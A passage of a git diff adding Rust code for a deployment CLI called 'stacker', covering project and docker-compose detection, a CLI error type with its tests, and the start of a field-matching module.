━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Detection markers — which files map to which app type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +struct DetectionMarker { + filename: &'static str, + app_type: AppType, + priority: u8, // higher = stronger signal +} + +/// Ordered list of detection markers. Higher priority takes precedence. +const DETECTION_MARKERS: &[DetectionMarker] = &[ + DetectionMarker { + filename: "Cargo.toml", + app_type: AppType::Rust, + priority: 10, + }, + DetectionMarker { + filename: "go.mod", + app_type: AppType::Go, + priority: 10, + }, + DetectionMarker { + filename: "composer.json", + app_type: AppType::Php, + priority: 10, + }, + DetectionMarker { + filename: "package.json", + app_type: AppType::Node, + priority: 9, + }, + DetectionMarker { + filename: "pyproject.toml", + app_type: AppType::Python, + priority: 9, + }, + DetectionMarker { + filename: "requirements.txt", + app_type: AppType::Python, + priority: 8, + }, + DetectionMarker { + filename: "index.html", + app_type: AppType::Static, + priority: 5, + }, +]; + +/// Infrastructure files to detect alongside app type. +const DOCKERFILE_NAMES: &[&str] = &["Dockerfile", "dockerfile"]; +const COMPOSE_NAMES: &[&str] = &[ + "docker-compose.yml", + "docker-compose.yaml", + "compose.yml", + "compose.yaml", +]; +const ENV_FILE_NAMES: &[&str] = &[".env"]; +const IGNORED_DIR_NAMES: &[&str] = &[ + ".git", + ".github", + ".idea", + ".stacker", + ".vscode", + "coverage", + "dist", + "build", + "docs", + "node_modules", + "target", + "vendor", +]; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// detect_project — scan a directory to identify project type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Detect the project type and infrastructure files in a directory. +pub fn detect_project(project_path: &Path, fs: &dyn FileSystem) -> ProjectDetection { + let files = match fs.list_dir(project_path) { + Ok(f) => f, + Err(_) => return ProjectDetection::default(), + }; + + let mut detection = ProjectDetection::default(); + let mut best_priority: u8 = 0; + + for filename in &files { + // Check app type markers + for marker in DETECTION_MARKERS { + if filename == marker.filename && marker.priority > best_priority { + detection.app_type = marker.app_type; + best_priority = marker.priority; + if !detection.detected_files.contains(filename) { + detection.detected_files.push(filename.clone()); + } + } + } + + // Check infrastructure files + if DOCKERFILE_NAMES.iter().any(|n| n == filename) { + detection.has_dockerfile = true; + detection.detected_files.push(filename.clone()); + } + + if COMPOSE_NAMES.iter().any(|n| n == filename) { + detection.has_compose = true; + detection.detected_files.push(filename.clone()); + } + + if ENV_FILE_NAMES.iter().any(|n| n == filename) { + detection.has_env_file = true; + } + } + + detection +} + +pub fn detect_workspace(project_path: &Path, fs: &dyn FileSystem) -> WorkspaceDetection { + let root = detect_project(project_path, fs); + let mut detection = WorkspaceDetection { + root, + ..Default::default() + }; + let mut compose_seen = BTreeSet::new(); + walk_workspace( + project_path, + project_path, + 0, + fs, + &mut detection, + &mut compose_seen, + ); + + detection + .apps + .sort_by(|left, right| left.path.cmp(&right.path)); + detection + .compose_stacks + .sort_by(|left, right| left.path.cmp(&right.path)); + detection.recommended_compose_file = detection + .compose_stacks + .iter() + .max_by_key(|stack| { + ( + has_include(&project_path.join(&stack.path), fs), + stack.services.len(), + std::cmp::Reverse(stack.path.components().count()), + ) + }) + .map(|stack| stack.path.clone()); + detection +} + +fn walk_workspace( + base_path: &Path, + current_path: &Path, + depth: usize, + fs: &dyn FileSystem, + detection: &mut WorkspaceDetection, + compose_seen: &mut BTreeSet, +) { + if depth > 5 { + return; + } + + let entries = match fs.list_dir(current_path) { + Ok(entries) => entries, + Err(_) => return, + }; + + if current_path != base_path { + let project = detect_project(current_path, fs); + if let Some(app) = build_discovered_app(base_path, current_path, &project) { + detection.apps.push(app); + } + } + + for entry in entries { + let child_path = current_path.join(&entry); + + if is_compose_file_name(&entry) { + let relative = relative_path(base_path, &child_path); + if compose_seen.insert(relative.clone()) { + let (services, detected_services) = + parse_compose_services(&child_path, base_path, fs); + detection.compose_stacks.push(ComposeStack { + path: relative, + services, + detected_services, + }); + } + continue; + } + + if should_skip_dir(&entry) { + continue; + } + + if fs.list_dir(&child_path).is_ok() { + walk_workspace( + base_path, + &child_path, + depth + 1, + fs, + detection, + compose_seen, + ); + } + } +} + +fn build_discovered_app( + base_path: &Path, + current_path: &Path, + project: &ProjectDetection, +) -> Option { + if project.app_type == AppType::Custom && !project.has_dockerfile { + return None; + } + + let relative = relative_path(base_path, current_path); + let name = current_path + .file_name() + .and_then(|value| value.to_str()) + .unwrap_or("app") + .to_string(); + let dockerfile = project.has_dockerfile.then(|| relative.join("Dockerfile")); + + Some(DiscoveredApp { + name, + path: relative, + app_type: if project.has_dockerfile { + AppType::Custom + } else { + project.app_type + }, + has_dockerfile: project.has_dockerfile, + dockerfile, + detected_files: project.detected_files.clone(), + }) +} + +fn relative_path(base: &Path, target: &Path) -> PathBuf { + normalize_path(target) + .strip_prefix(base) + .map(Path::to_path_buf) + .unwrap_or_else(|_| target.to_path_buf()) +} + +fn normalize_path(path: &Path) -> PathBuf { + let mut normalized = PathBuf::new(); + + for component in path.components() { + match component { + std::path::Component::CurDir => {} + std::path::Component::ParentDir => { + normalized.pop(); + } + other => normalized.push(other.as_os_str()), + } + } + + normalized +} + +fn should_skip_dir(entry: &str) -> bool { + entry.starts_with('.') || IGNORED_DIR_NAMES.iter().any(|name| name == &entry) +} + +fn is_compose_file_name(entry: &str) -> bool { + COMPOSE_NAMES.iter().any(|name| name == &entry) +} + +fn has_include(compose_path: &Path, fs: &dyn FileSystem) -> bool { + fs.read_to_string(compose_path) + .ok() + .and_then(|content| serde_yaml::from_str::(&content).ok()) + .and_then(|value| value.get("include").cloned()) + .is_some() +} + +fn parse_compose_services( + compose_path: &Path, + base_path: &Path, + fs: &dyn FileSystem, +) -> (Vec, Vec) { + let mut local = BTreeMap::new(); + let mut visited = BTreeSet::new(); + parse_compose_services_recursive(compose_path, base_path, fs, &mut visited, &mut local); + let services: Vec = local.into_values().collect(); + let names = services + .iter() + .map(|service| service.name.clone()) + .collect(); + (names, services) +} + +fn parse_compose_services_recursive( + compose_path: &Path, + base_path: &Path, + fs: &dyn FileSystem, + visited: &mut BTreeSet, + local: &mut BTreeMap, +) { + let relative = relative_path(base_path, compose_path); + if !visited.insert(relative) { + return; + } + + let content = match fs.read_to_string(compose_path) { + Ok(content) => content, + Err(_) => return, + }; + let parsed = match serde_yaml::from_str::(&content) { + Ok(parsed) => parsed, + Err(_) => return, + }; + + if let Some(services) = parsed.get("services").and_then(|value| value.as_mapping()) { + for (service_name, service_value) in services { + let Some(service_name) = service_name.as_str() else { + continue; + }; + local.insert( + service_name.to_string(), + parse_compose_service(service_name, service_value), + ); + } + } + + if let Some(include_value) = parsed.get("include") { + let include_paths: Vec = match include_value { + serde_yaml::Value::String(value) => vec![value.clone()], + serde_yaml::Value::Sequence(items) => items + .iter() + .filter_map(|item| item.as_str().map(ToOwned::to_owned)) + .collect(), + _ => Vec::new(), + }; + + for include in include_paths { + let include_path = compose_path + .parent() + .unwrap_or_else(|| Path::new(".")) + .join(include); + let include_path = normalize_path(&include_path); + parse_compose_services_recursive(&include_path, base_path, fs, visited, local); + } + } +} + +fn parse_compose_service(name: &str, service_value: &serde_yaml::Value) -> DetectedComposeService { + let Some(service_map) = service_value.as_mapping() else { + return DetectedComposeService { + name: name.to_string(), + image: None, + ports: Vec::new(), + environment: HashMap::new(), + volumes: Vec::new(), + depends_on: Vec::new(), + }; + }; + + let image = service_map + .get(serde_yaml::Value::String("image".to_string())) + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned); + let ports = service_map + .get(serde_yaml::Value::String("ports".to_string())) + .map(parse_string_list) + .unwrap_or_default(); + let environment = service_map + .get(serde_yaml::Value::String("environment".to_string())) + .map(parse_environment) + .unwrap_or_default(); + let volumes = service_map + .get(serde_yaml::Value::String("volumes".to_string())) + .map(parse_string_list) + .unwrap_or_default(); + let depends_on = service_map + .get(serde_yaml::Value::String("depends_on".to_string())) + .map(parse_depends_on) + .unwrap_or_default(); + + DetectedComposeService { + name: name.to_string(), + image, + ports, + environment, + volumes, + depends_on, + } +} + +fn parse_string_list(value: &serde_yaml::Value) -> Vec { + match value { + serde_yaml::Value::Sequence(items) => items + .iter() + .filter_map(|item| match item { + serde_yaml::Value::String(text) => Some(text.clone()), + serde_yaml::Value::Number(number) => Some(number.to_string()), + _ => None, + }) + .collect(), + _ => Vec::new(), + } +} + +fn parse_environment(value: &serde_yaml::Value) -> HashMap { + match value { + serde_yaml::Value::Mapping(entries) => entries + .iter() + .filter_map(|(key, value)| { + Some((key.as_str()?.to_string(), yaml_scalar_to_string(value)?)) + }) + .collect(), + serde_yaml::Value::Sequence(items) => items + .iter() + .filter_map(|item| { + let text = item.as_str()?; + let (key, value) = text.split_once('=')?; + Some((key.to_string(), value.to_string())) + }) + .collect(), + _ => HashMap::new(), + } +} + +fn parse_depends_on(value: &serde_yaml::Value) -> Vec { + match value { + serde_yaml::Value::Sequence(items) => items + .iter() + .filter_map(|item| item.as_str().map(ToOwned::to_owned)) + .collect(), + serde_yaml::Value::Mapping(entries) => entries + .keys() + .filter_map(|key| key.as_str().map(ToOwned::to_owned)) + .collect(), + _ => Vec::new(), + } +} + +fn yaml_scalar_to_string(value: &serde_yaml::Value) -> Option { + match value { + serde_yaml::Value::String(text) => Some(text.clone()), + serde_yaml::Value::Bool(flag) => Some(flag.to_string()), + serde_yaml::Value::Number(number) => Some(number.to_string()), + serde_yaml::Value::Null => Some(String::new()), + _ => None, + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests — Phase 2 +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + + /// In-memory mock filesystem for deterministic testing without I/O. + struct MockFileSystem { + dirs: std::collections::HashMap>, + contents: std::collections::HashMap, + } + + impl MockFileSystem { + fn with_dir(path: &str, files: &[&str]) -> Self { + let mut dirs = std::collections::HashMap::new(); + dirs.insert( + PathBuf::from(path), + files.iter().map(|value| value.to_string()).collect(), + ); + + Self { + dirs, + contents: std::collections::HashMap::new(), + } + } + + fn add_dir(mut self, path: &str, files: &[&str]) -> Self { + self.dirs.insert( + PathBuf::from(path), + files.iter().map(|value| value.to_string()).collect(), + ); + self + } + + fn add_file(mut self, path: &str, content: &str) -> Self { + self.contents + .insert(PathBuf::from(path), content.to_string()); + self + } + } + + impl FileSystem for MockFileSystem { + fn exists(&self, path: &Path) -> bool { + self.contents.contains_key(path) || self.dirs.contains_key(path) + } + + fn list_dir(&self, path: &Path) -> Result, std::io::Error> { + self.dirs + .get(path) + .cloned() + .ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "missing dir")) + } + + fn read_to_string(&self, path: &Path) -> Result { + self.contents.get(path).cloned().ok_or_else(|| { + std::io::Error::new(std::io::ErrorKind::NotFound, "missing file contents") + }) + } + } + + fn detect_with(files: &[&str]) -> ProjectDetection { + let fs = MockFileSystem::with_dir("/test", files); + detect_project(Path::new("/test"), &fs) + } + + #[test] + fn test_detect_static_html() { + let det = detect_with(&["index.html", "style.css"]); + assert_eq!(det.app_type, AppType::Static); + } + + #[test] + fn test_detect_node_project() { + let det = detect_with(&["package.json", "src"]); + assert_eq!(det.app_type, AppType::Node); + } + + #[test] + fn test_detect_python_requirements() { + let det = detect_with(&["requirements.txt", "app.py"]); + assert_eq!(det.app_type, AppType::Python); + } + + #[test] + fn test_detect_python_pyproject() { + let det = detect_with(&["pyproject.toml"]); + assert_eq!(det.app_type, AppType::Python); + } + + #[test] + fn test_detect_rust_project() { + let det = detect_with(&["Cargo.toml", "src"]); + assert_eq!(det.app_type, AppType::Rust); + } + + #[test] + fn test_detect_go_project() { + let det = detect_with(&["go.mod", "main.go"]); + assert_eq!(det.app_type, AppType::Go); + } + + #[test] + fn test_detect_php_composer() { + let det = detect_with(&["composer.json", "public"]); + assert_eq!(det.app_type, AppType::Php); + } + + #[test] + fn test_detect_empty_directory() { + let det = detect_with(&[]); + assert_eq!(det.app_type, AppType::Custom); + } + + #[test] + fn test_detect_priority_node_over_static() { + let det = detect_with(&["package.json", "index.html"]); + assert_eq!( + det.app_type, + AppType::Node, + "package.json (priority 9) should beat index.html (priority 5)" + ); + } + + #[test] + fn test_detect_existing_dockerfile_flag() { + let det = detect_with(&["Dockerfile", "package.json"]); + assert!(det.has_dockerfile); + assert_eq!(det.app_type, AppType::Node); + } + + #[test] + fn test_detect_existing_compose_flag() { + let det = detect_with(&["docker-compose.yml", "index.html"]); + assert!(det.has_compose); + } + + #[test] + fn test_detect_env_file_flag() { + let det = detect_with(&[".env", "index.html"]); + assert!(det.has_env_file); + } + + #[test] + fn test_detect_workspace_finds_nested_apps_and_compose_services() { + let fs = + MockFileSystem::with_dir("/repo", &["device-api", "upload", "docker", "README.md"]) + .add_dir("/repo/device-api", &["Cargo.toml", "Dockerfile", "docker"]) + .add_dir("/repo/upload", &["Cargo.toml", "Dockerfile", "docker"]) + .add_dir("/repo/docker", &["local"]) + .add_dir("/repo/docker/local", &["compose.yml"]) + .add_file( + "/repo/docker/local/compose.yml", + "include:\n - ../../device-api/docker/local/compose.yml\n - ../../upload/docker/local/compose.yml\n", + ) + .add_dir("/repo/device-api/docker", &["local"]) + .add_dir("/repo/device-api/docker/local", &["compose.yml"]) + .add_file( + "/repo/device-api/docker/local/compose.yml", + "services:\n device-api:\n build: .\n", + ) + .add_dir("/repo/upload/docker", &["local"]) + .add_dir("/repo/upload/docker/local", &["compose.yml"]) + .add_file( + "/repo/upload/docker/local/compose.yml", + "services:\n upload:\n build: .\n redis:\n image: redis:7\n ports:\n - \"6379:6379\"\n environment:\n REDIS_PASSWORD: secret\n", + ); + + let detection = detect_workspace(Path::new("/repo"), &fs); + + assert_eq!(detection.apps.len(), 2); + assert_eq!( + detection + .apps + .iter() + .map(|app| app.name.as_str()) + .collect::>(), + vec!["device-api", "upload"] + ); + assert_eq!( + detection.recommended_compose_file, + Some(PathBuf::from("docker/local/compose.yml")) + ); + assert_eq!(detection.compose_stacks.len(), 3); + let root_stack = detection + .compose_stacks + .iter() + .find(|stack| stack.path == PathBuf::from("docker/local/compose.yml")) + .unwrap(); + assert_eq!(root_stack.services, vec!["device-api", "redis", "upload"]); + let redis = root_stack + .detected_services + .iter() + .find(|service| service.name == "redis") + .unwrap(); + assert_eq!(redis.image.as_deref(), Some("redis:7")); + assert_eq!(redis.ports, vec!["6379:6379"]); + assert_eq!( + redis + .environment + .get("REDIS_PASSWORD") + .map(|value| value.as_str()), + Some("secret") + ); + } + + #[test] + fn test_detection_to_app_type_via_from() { + let detection = ProjectDetection { + app_type: AppType::Node, + ..Default::default() + }; + let app_type = AppType::from(&detection); + assert_eq!(app_type, AppType::Node); + } +} diff --git a/stacker/stacker/src/cli/error.rs b/stacker/stacker/src/cli/error.rs new file mode 100644 index 0000000..42c13d2 --- /dev/null +++ b/stacker/stacker/src/cli/error.rs @@ -0,0 +1,487 @@ +use std::fmt; +use std::path::PathBuf; + +use crate::cli::config_parser::DeployTarget; +use crate::services::TypedErrorEnvelope; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CliError — unified error hierarchy for all CLI operations +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug)] +pub enum CliError { + // Config errors + ConfigNotFound { + path: PathBuf, + }, + ConfigParseFailed { + source: serde_yaml::Error, + }, + ConfigValidation(String), + EnvVarNotFound { + var_name: String, + }, + + // Detection errors + DetectionFailed { + path: PathBuf, + reason: String, + }, + + // Generator errors + GeneratorError(String), + DockerfileExists { + path: PathBuf, + }, + + // Deployment errors + DeployFailed { + target: DeployTarget, + reason: String, + }, + LoginRequired { + feature: String, + }, + CloudProviderMissing, + ServerHostMissing, + + // Runtime errors + ContainerRuntimeUnavailable, + CommandFailed { + command: String, + exit_code: i32, + }, + + // Auth errors + AuthFailed(String), + TokenExpired, + + // AI errors + AiNotConfigured, + AiProviderError { + provider: String, + message: String, + }, + + // Proxy errors + ProxyConfigFailed(String), + + // Feature-scoped command errors + FeatureFailed { + feature: String, + reason: String, + }, + + // Secrets/env errors + EnvFileNotFound { + path: std::path::PathBuf, + }, + SecretKeyNotFound { + key: String, + }, + + // Marketplace errors + MarketplaceFailed(String), + + // Agent errors + AgentNotFound { + deployment_hash: String, + }, + AgentOffline { + deployment_hash: String, + }, + AgentCommandTimeout { + command_id: String, + /// Human-readable label for the command (e.g. "Fetching containers") + command_type: String, + /// Last observed status from polling ("pending" = never picked up, "running" = started but didn't finish) + last_status: String, + deployment_hash: String, + }, + AgentCommandFailed { + command_id: String, + error: String, + }, + + // IO errors + Io(std::io::Error), + Typed(TypedErrorEnvelope), +} + +impl fmt::Display for CliError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::ConfigNotFound { path } => { + write!(f, "Configuration file not found: {}", path.display()) + } + Self::ConfigParseFailed { source } => { + write!(f, "Failed to parse stacker.yml: {source}") + } + Self::ConfigValidation(msg) => { + write!(f, "Configuration validation error: {msg}") + } + Self::EnvVarNotFound { var_name } => { + write!(f, "Environment variable not found: ${var_name}") + } + Self::DetectionFailed { path, reason } => { + write!( + f, + "Project detection failed in {}: {reason}", + path.display() + ) + } + Self::GeneratorError(msg) => { + write!(f, "Generator error: {msg}") + } + Self::DockerfileExists { path } => { + write!( + f, + "Dockerfile already exists: {}. Use --force to overwrite.", + path.display() + ) + } + Self::DeployFailed { target, reason } => { + write!(f, "Deployment to {target} failed: {reason}") + } + Self::LoginRequired { feature } => { + write!(f, "Login required for {feature}. Run: stacker login") + } + Self::CloudProviderMissing => { + write!(f, "Cloud provider is required for cloud deployment. Set deploy.cloud.provider in stacker.yml") + } + Self::ServerHostMissing => { + write!(f, "Server host is required for server deployment. Set deploy.server.host in stacker.yml") + } + Self::ContainerRuntimeUnavailable => { + write!( + f, + "Docker is not running. Install Docker or start the Docker daemon." + ) + } + Self::CommandFailed { command, exit_code } => { + write!(f, "Command '{command}' failed with exit code {exit_code}") + } + Self::AuthFailed(msg) => { + write!(f, "Authentication failed: {msg}") + } + Self::TokenExpired => { + write!(f, "Authentication token expired. Run: stacker login") + } + Self::AiNotConfigured => { + write!( + f, + "AI is not configured in stacker.yml.\n\ + Quick fix: run `stacker init --with-ai` (in your project root),\n\ + or add this section:\n\ + ai:\n\ + enabled: true\n\ + provider: ollama # openai | anthropic | ollama | custom\n\ + timeout: 300\n\ + tasks: [\"dockerfile\", \"compose\"]" + ) + } + Self::AiProviderError { provider, message } => { + write!(f, "AI provider '{provider}' error: {message}") + } + Self::ProxyConfigFailed(msg) => { + write!(f, "Proxy configuration failed: {msg}") + } + Self::FeatureFailed { feature, reason } => { + write!(f, "{feature} failed: {reason}") + } + Self::EnvFileNotFound { path } => { + write!(f, "Env file not found: {}", path.display()) + } + Self::SecretKeyNotFound { key } => { + write!(f, "Secret key not found: {key}") + } + Self::MarketplaceFailed(msg) => { + write!(f, "Marketplace error: {msg}") + } + Self::AgentNotFound { deployment_hash } => { + write!( + f, + "No Status Panel agent registered for deployment '{deployment_hash}'.\n\ + Ensure the agent is installed and has registered with Stacker." + ) + } + Self::AgentOffline { deployment_hash } => { + write!( + f, + "Status Panel agent for deployment '{deployment_hash}' appears offline.\n\ + Check that the server is running and the agent process is active." + ) + } + Self::AgentCommandTimeout { + command_id, + command_type, + last_status, + deployment_hash, + } => { + let (diagnosis, suggestions) = if last_status == "pending" { + ( + "The agent never picked up this command — it may be offline or unreachable.", + format!( + " Check if the agent is alive:\n\ + stacker agent health --deployment={deployment_hash}\n\n\ + \x20 Check the agent's last known state:\n\ + \x20 stacker agent status --deployment={deployment_hash}" + ), + ) + } else { + ( + "The agent started the command but did not finish in time — it may be busy or slow.", + format!( + " Retry the command (it may succeed now):\n\ + \x20 stacker agent status --deployment={deployment_hash}\n\n\ + \x20 Or wait and check the result:\n\ + \x20 stacker agent history --deployment={deployment_hash}" + ), + ) + }; + write!( + f, + "{command_type} timed out (last status: {last_status}, id: {command_id})\n\n\ + {diagnosis}\n\n\ + {suggestions}" + ) + } + Self::AgentCommandFailed { command_id, error } => { + write!(f, "Agent command '{command_id}' failed: {error}") + } + Self::Io(err) => { + write!(f, "I/O error: {err}") + } + Self::Typed(envelope) => { + write!(f, "{}", envelope.to_json()) + } + } + } +} + +impl std::error::Error for CliError {} + +impl From for CliError { + fn from(err: std::io::Error) -> Self { + Self::Io(err) + } +} + +impl From for CliError { + fn from(err: serde_yaml::Error) -> Self { + Self::ConfigParseFailed { source: err } + } +} + +impl From for CliError { + fn from(envelope: TypedErrorEnvelope) -> Self { + Self::Typed(envelope) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ValidationIssue — structured validation results +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ValidationIssue { + pub severity: Severity, + pub code: String, + pub message: String, + pub field: Option, +} + +impl fmt::Display for ValidationIssue { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match &self.field { + Some(field) => write!( + f, + "[{}] {}: {} ({})", + self.severity, self.code, self.message, field + ), + None => write!(f, "[{}] {}: {}", self.severity, self.code, self.message), + } + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum Severity { + Error, + Warning, + Info, +} + +impl fmt::Display for Severity { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Error => write!(f, "error"), + Self::Warning => write!(f, "warning"), + Self::Info => write!(f, "info"), + } + } +} + +impl Default for Severity { + fn default() -> Self { + Self::Info + } +} + +use serde::{Deserialize, Serialize}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests — Phase 0 +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use std::path::PathBuf; + + #[test] + fn test_cli_error_display_config_not_found() { + let err = CliError::ConfigNotFound { + path: PathBuf::from("/tmp/stacker.yml"), + }; + let msg = format!("{err}"); + assert!( + msg.contains("Configuration file not found"), + "Expected 'Configuration file not found' in: {msg}" + ); + assert!(msg.contains("/tmp/stacker.yml"), "Expected path in: {msg}"); + } + + #[test] + fn test_cli_error_display_env_var_not_found() { + let err = CliError::EnvVarNotFound { + var_name: "DB_PASSWORD".to_string(), + }; + let msg = format!("{err}"); + assert!(msg.contains("DB_PASSWORD"), "Expected var name in: {msg}"); + } + + #[test] + fn test_cli_error_display_login_required() { + let err = CliError::LoginRequired { + feature: "cloud deploy".to_string(), + }; + let msg = format!("{err}"); + assert!( + msg.contains("cloud deploy"), + "Expected feature name in: {msg}" + ); + assert!( + msg.contains("stacker login"), + "Expected command hint in: {msg}" + ); + } + + #[test] + fn test_cli_error_display_container_runtime_unavailable() { + let err = CliError::ContainerRuntimeUnavailable; + let msg = format!("{err}"); + assert!( + msg.contains("Docker is not running"), + "Expected docker message in: {msg}" + ); + } + + #[test] + fn test_cli_error_display_generator_error() { + let err = CliError::GeneratorError("base_image is required".to_string()); + let msg = format!("{err}"); + assert!( + msg.contains("base_image is required"), + "Expected reason in: {msg}" + ); + } + + #[test] + fn test_cli_error_from_io_error() { + let io_err = std::io::Error::new(std::io::ErrorKind::NotFound, "file missing"); + let cli_err = CliError::from(io_err); + assert!( + matches!(cli_err, CliError::Io(_)), + "Expected CliError::Io variant" + ); + } + + #[test] + fn test_cli_error_from_yaml_error() { + let yaml_result: Result = + serde_yaml::from_str("{{invalid: yaml:"); + let yaml_err = yaml_result.unwrap_err(); + let cli_err = CliError::from(yaml_err); + assert!( + matches!(cli_err, CliError::ConfigParseFailed { .. }), + "Expected CliError::ConfigParseFailed variant" + ); + } + + #[test] + fn test_severity_display() { + assert_eq!(format!("{}", Severity::Error), "error"); + assert_eq!(format!("{}", Severity::Warning), "warning"); + assert_eq!(format!("{}", Severity::Info), "info"); + } + + #[test] + fn test_severity_default_is_info() { + assert_eq!(Severity::default(), Severity::Info); + } + + #[test] + fn test_severity_serde_roundtrip() { + let json = serde_json::to_string(&Severity::Warning).unwrap(); + assert_eq!(json, "\"warning\""); + let parsed: Severity = serde_json::from_str(&json).unwrap(); + assert_eq!(parsed, Severity::Warning); + } + + #[test] + fn test_validation_issue_display_with_field() { + let issue = ValidationIssue { + severity: Severity::Error, + code: "E001".to_string(), + message: "port conflict".to_string(), + field: Some("services[0].ports".to_string()), + }; + let msg = format!("{issue}"); + assert!(msg.contains("[error]"), "Expected severity in: {msg}"); + assert!(msg.contains("E001"), "Expected code in: {msg}"); + assert!(msg.contains("port conflict"), "Expected message in: {msg}"); + assert!( + msg.contains("services[0].ports"), + "Expected field in: {msg}" + ); + } + + #[test] + fn test_validation_issue_display_without_field() { + let issue = ValidationIssue { + severity: Severity::Warning, + code: "W001".to_string(), + message: "no healthcheck".to_string(), + field: None, + }; + let msg = format!("{issue}"); + assert!(msg.contains("[warning]"), "Expected severity in: {msg}"); + assert!(!msg.contains("("), "Expected no field parens in: {msg}"); + } + + #[test] + fn test_validation_issue_serialize() { + let issue = ValidationIssue { + severity: Severity::Error, + code: "E001".to_string(), + message: "missing field".to_string(), + field: Some("name".to_string()), + }; + let json = serde_json::to_value(&issue).unwrap(); + assert_eq!(json["severity"], "error"); + assert_eq!(json["code"], "E001"); + assert_eq!(json["message"], "missing field"); + assert_eq!(json["field"], "name"); + } +} diff --git a/stacker/stacker/src/cli/field_matcher.rs b/stacker/stacker/src/cli/field_matcher.rs new file mode 100644 index 0000000..a50b393 --- /dev/null +++ b/stacker/stacker/src/cli/field_matcher.rs @@ -0,0 +1,329 @@ +use std::collections::HashMap; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// FieldMatcher trait — abstraction for pipe field matching +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Suggestion for a field transformation (beyond 1:1 mapping). +#[derive(Debug, Clone)] +pub struct TransformSuggestion { + pub target_field: String, + pub expression: String, + pub description: String, +} + +/// Result of field matching: the mapping, per-field confidence, and optional transformations. +#[derive(Debug, Clone)] +pub struct FieldMatchResult { + /// The mapping from target field → JSONPath source expression. + pub mapping: serde_json::Value, + /// Per-field confidence scores (0.0–1.0). Deterministic matcher always returns 1.0. + pub confidence: HashMap, + /// AI-only: suggested transformations for complex mappings. + pub suggestions: Vec, + /// Which matching mode produced this result. + pub mode: MatchingMode, +} + +/// Which matching strategy was used. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum MatchingMode { + Deterministic, + Ai, + Ml, +} + +impl std::fmt::Display for MatchingMode { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Deterministic => write!(f, "deterministic"), + Self::Ai => write!(f, "ai"), + Self::Ml => write!(f, "ml"), + } + } +} + +/// Trait for field matching strategies. +pub trait FieldMatcher { + fn match_fields( + &self, + src_fields: &[String], + tgt_fields: &[String], + source_sample: Option<&serde_json::Value>, + ) -> FieldMatchResult; +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// FIELD_ALIASES — semantic alias groups +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Common semantic aliases for field name matching. +pub const FIELD_ALIASES: &[(&[&str], &[&str])] = &[ + ( + &["email", "user_email", "mail", "email_address"], + &["email", "user_email", "mail", "email_address"], + ), + ( + &["name", "display_name", "full_name", "username"], + &["name", "display_name", "full_name", "username"], + ), + ( + &["first_name", "fname", "given_name"], + &["first_name", "fname", "given_name"], + ), + ( + &["last_name", "lname", "family_name", "surname"], + &["last_name", "lname", "family_name", "surname"], + ), + ( + &["phone", "phone_number", "tel", "telephone"], + &["phone", "phone_number", "tel", "telephone"], + ), + ( + &["address", "street", "street_address"], + &["address", "street", "street_address"], + ), + (&["city", "town"], &["city", "town"]), + (&["country", "country_code"], &["country", "country_code"]), + ( + &["title", "subject", "heading"], + &["title", "subject", "heading"], + ), + ( + &["body", "content", "text", "description", "message"], + &["body", "content", "text", "description", "message"], + ), + ( + &["url", "link", "href", "website"], + &["url", "link", "href", "website"], + ), + (&["id", "identifier"], &["id", "identifier"]), + ( + &["created_at", "created", "date_created"], + &["created_at", "created", "date_created"], + ), + ( + &["updated_at", "updated", "date_updated", "modified"], + &["updated_at", "updated", "date_updated", "modified"], + ), +]; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DeterministicFieldMatcher — 4-layer matching algorithm +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Deterministic field matcher using the 4-layer algorithm: +/// 1. Exact name match +/// 2. Case-insensitive match +/// 3. Semantic alias match +/// 4. Type-aware suffix match (requires sample data) +pub struct DeterministicFieldMatcher; + +impl FieldMatcher for DeterministicFieldMatcher { + fn match_fields( + &self, + src_fields: &[String], + tgt_fields: &[String], + source_sample: Option<&serde_json::Value>, + ) -> 